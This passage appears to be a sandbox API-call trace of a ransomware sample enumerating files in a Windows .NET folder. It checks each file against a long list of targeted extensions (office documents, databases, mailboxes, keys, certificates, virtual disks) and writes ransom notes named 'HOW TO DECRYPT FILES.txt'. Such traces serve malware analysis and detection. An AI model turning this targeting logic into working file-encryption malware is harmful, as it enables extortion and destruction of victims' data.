(pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qba") returned 0 [0136.918] lstrlenA (lpString="*.qba") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qby") returned 0 [0136.918] lstrlenA (lpString="*.qby") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbj") returned 0 [0136.918] lstrlenA (lpString="*.qbj") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.ofx") returned 0 [0136.918] lstrlenA (lpString="*.ofx") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qif") returned 0 [0136.918] lstrlenA (lpString="*.qif") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mye") returned 0 [0136.919] lstrlenA (lpString="*.mye") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mbox") returned 0 [0136.919] lstrlenA (lpString="*.mbox") returned 6 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.eml") returned 0 [0136.919] lstrlenA (lpString="*.eml") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.pst") returned 0 [0136.919] lstrlenA (lpString="*.pst") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.ost") returned 0 [0136.919] lstrlenA (lpString="*.ost") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.idx") returned 0 [0136.919] lstrlenA (lpString="*.idx") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.dbx") returned 0 [0136.919] lstrlenA (lpString="*.dbx") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.sql") returned 0 [0136.919] lstrlenA (lpString="*.sql") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mdb") returned 0 [0136.919] lstrlenA (lpString="*.mdb") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.fdb") returned 0 [0136.919] lstrlenA (lpString="*.fdb") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.wab") returned 0 [0136.919] lstrlenA (lpString="*.wab") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.dat") returned 0 [0136.919] lstrlenA (lpString="*.dat") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.txt") returned 0 [0136.919] lstrlenA (lpString="*.txt") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.jpeg") returned 0 [0136.919] lstrlenA (lpString="*.jpeg") returned 6 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.jpg") returned 0 [0136.919] lstrlenA (lpString="*.jpg") returned 5 [0136.919] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.png") returned 0 [0136.919] lstrlenA (lpString="*.png") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.php") returned 0 [0136.920] lstrlenA (lpString="*.php") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.cs") returned 0 [0136.920] lstrlenA (lpString="*.cs") returned 4 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.cpp") returned 0 [0136.920] lstrlenA (lpString="*.cpp") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.rar") returned 0 [0136.920] lstrlenA (lpString="*.rar") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.zip") returned 0 [0136.920] lstrlenA (lpString="*.zip") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.html") returned 0 [0136.920] lstrlenA (lpString="*.html") returned 6 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.htm") returned 0 [0136.920] lstrlenA (lpString="*.htm") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.xlsx") returned 0 [0136.920] lstrlenA (lpString="*.xlsx") returned 6 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.xls") returned 0 [0136.920] lstrlenA (lpString="*.xls") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mp4") returned 0 [0136.920] lstrlenA (lpString="*.mp4") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.ppt") returned 0 [0136.920] lstrlenA (lpString="*.ppt") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.pptx") returned 0 [0136.920] lstrlenA (lpString="*.pptx") returned 6 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.doc") returned 0 [0136.920] lstrlenA (lpString="*.doc") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.dot") returned 0 [0136.920] lstrlenA (lpString="*.dot") returned 5 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.docx") returned 0 [0136.920] lstrlenA (lpString="*.docx") returned 6 [0136.920] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.7z") returned 0 [0136.920] lstrlenA (lpString="*.7z") returned 4 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.tar") returned 0 [0136.921] lstrlenA (lpString="*.tar") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.bz2") returned 0 [0136.921] lstrlenA (lpString="*.bz2") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.gz") returned 0 [0136.921] lstrlenA (lpString="*.gz") returned 4 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mkv") returned 0 [0136.921] lstrlenA (lpString="*.mkv") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.eml") returned 0 [0136.921] lstrlenA (lpString="*.eml") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.msg") returned 0 [0136.921] lstrlenA (lpString="*.msg") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.edb") returned 0 [0136.921] lstrlenA (lpString="*.edb") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.accdb") returned 0 [0136.921] lstrlenA (lpString="*.accdb") returned 7 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.odb") returned 0 [0136.921] lstrlenA (lpString="*.odb") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.java") returned 0 [0136.921] lstrlenA (lpString="*.java") returned 6 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.asm") returned 0 [0136.921] lstrlenA (lpString="*.asm") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.pfx") returned 0 [0136.921] lstrlenA (lpString="*.pfx") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.pem") returned 0 [0136.921] lstrlenA (lpString="*.pem") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.p12") returned 0 [0136.921] lstrlenA (lpString="*.p12") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.gpg") returned 0 [0136.921] lstrlenA (lpString="*.gpg") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.vsd") returned 0 [0136.921] lstrlenA (lpString="*.vsd") returned 5 [0136.921] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.odg") returned 0 [0136.922] lstrlenA (lpString="*.odg") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.raw") returned 0 [0136.922] lstrlenA (lpString="*.raw") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.nef") returned 0 [0136.922] lstrlenA (lpString="*.nef") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.svg") returned 0 [0136.922] lstrlenA (lpString="*.svg") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.psd") returned 0 [0136.922] lstrlenA (lpString="*.psd") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.vmx") returned 0 [0136.922] lstrlenA (lpString="*.vmx") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.vmdk") returned 0 [0136.922] lstrlenA (lpString="*.vmdk") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.vdi") returned 0 [0136.922] lstrlenA (lpString="*.vdi") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.lay6") returned 0 [0136.922] lstrlenA (lpString="*.lay6") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mpeg") returned 0 [0136.922] lstrlenA (lpString="*.mpeg") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.djvu") returned 0 [0136.922] lstrlenA (lpString="*.djvu") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.tiff") returned 0 [0136.922] lstrlenA (lpString="*.tiff") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.backup") returned 0 [0136.922] lstrlenA (lpString="*.backup") returned 8 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.pdf") returned 0 [0136.922] lstrlenA (lpString="*.pdf") returned 5 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.cert") returned 0 [0136.922] lstrlenA (lpString="*.cert") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.docm") returned 0 [0136.922] lstrlenA (lpString="*.docm") returned 6 [0136.922] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.xlsm") returned 0 [0136.922] lstrlenA (lpString="*.xlsm") returned 6 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.dwg") returned 0 [0136.923] lstrlenA (lpString="*.dwg") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.nd") returned 0 [0136.923] lstrlenA (lpString="*.nd") returned 4 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.tlg") returned 0 [0136.923] lstrlenA (lpString="*.tlg") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.lgb") returned 0 [0136.923] lstrlenA (lpString="*.lgb") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mov") returned 0 [0136.923] lstrlenA (lpString="*.mov") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.xdw") returned 0 [0136.923] lstrlenA (lpString="*.xdw") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.ods") returned 0 [0136.923] lstrlenA (lpString="*.ods") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.wav") returned 0 [0136.923] lstrlenA (lpString="*.wav") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.mp3") returned 0 [0136.923] lstrlenA (lpString="*.mp3") returned 5 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.aiff") returned 0 [0136.923] lstrlenA (lpString="*.aiff") returned 6 [0136.923] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.flac") returned 0 [0136.923] lstrlenA (lpString="*.flac") returned 6 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.m4a") returned 0 [0136.924] lstrlenA (lpString="*.m4a") returned 5 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.csv") returned 0 [0136.924] lstrlenA (lpString="*.csv") returned 5 [0136.924] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973c7be, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x973c7be, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7dedaebc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.dll", cAlternateFileName="")) returned 1 [0136.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCFFRasterizer.dll") returned -1 [0136.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCFFRasterizer.dll") returned -1 [0136.924] lstrcmpiA (lpString1="", lpString2="PresentationCFFRasterizer.dll") returned -1 [0136.924] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll") returned="PenIMC.dll" [0136.924] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.924] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.924] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.924] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0x20 [0136.924] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="PresentationCFFRasterizer.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll" [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.ems") returned 0 [0136.924] lstrlenA (lpString="*.ems") returned 5 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.db") returned 0 [0136.924] lstrlenA (lpString="*.db") returned 4 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.dbf") returned 0 [0136.924] lstrlenA (lpString="*.dbf") returned 5 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.myox") returned 0 [0136.924] lstrlenA (lpString="*.myox") returned 6 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.myo") returned 0 [0136.924] lstrlenA (lpString="*.myo") returned 5 [0136.924] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbw") returned 0 [0136.925] lstrlenA (lpString="*.qbw") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbb") returned 0 [0136.925] lstrlenA (lpString="*.qbb") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbm") returned 0 [0136.925] lstrlenA (lpString="*.qbm") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbo") returned 0 [0136.925] lstrlenA (lpString="*.qbo") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbx") returned 0 [0136.925] lstrlenA (lpString="*.qbx") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qba") returned 0 [0136.925] lstrlenA (lpString="*.qba") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qby") returned 0 [0136.925] lstrlenA (lpString="*.qby") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qbj") returned 0 [0136.925] lstrlenA (lpString="*.qbj") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.ofx") returned 0 [0136.925] lstrlenA (lpString="*.ofx") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.qif") returned 0 [0136.925] lstrlenA (lpString="*.qif") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.mye") returned 0 [0136.925] lstrlenA (lpString="*.mye") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.mbox") returned 0 [0136.925] lstrlenA (lpString="*.mbox") returned 6 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.eml") returned 0 [0136.925] lstrlenA (lpString="*.eml") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.pst") returned 0 [0136.925] lstrlenA (lpString="*.pst") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.ost") returned 0 [0136.925] lstrlenA (lpString="*.ost") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.idx") returned 0 [0136.925] lstrlenA (lpString="*.idx") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.dbx") returned 0 [0136.925] lstrlenA (lpString="*.dbx") returned 5 [0136.925] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.sql") returned 0 [0136.926] lstrlenA (lpString="*.sql") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.mdb") returned 0 [0136.926] lstrlenA (lpString="*.mdb") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.fdb") returned 0 [0136.926] lstrlenA (lpString="*.fdb") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.wab") returned 0 [0136.926] lstrlenA (lpString="*.wab") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.dat") returned 0 [0136.926] lstrlenA (lpString="*.dat") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.txt") returned 0 [0136.926] lstrlenA (lpString="*.txt") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.jpeg") returned 0 [0136.926] lstrlenA (lpString="*.jpeg") returned 6 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.jpg") returned 0 [0136.926] lstrlenA (lpString="*.jpg") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.png") returned 0 [0136.926] lstrlenA (lpString="*.png") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.php") returned 0 [0136.926] lstrlenA (lpString="*.php") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.cs") returned 0 [0136.926] lstrlenA (lpString="*.cs") returned 4 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.cpp") returned 0 [0136.926] lstrlenA (lpString="*.cpp") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.rar") returned 0 [0136.926] lstrlenA (lpString="*.rar") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.zip") returned 0 [0136.926] lstrlenA (lpString="*.zip") returned 5 [0136.926] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll", pszSpec="*.html") returned 0 [0136.927] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d37, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x9d09d37, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7e1d4a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, 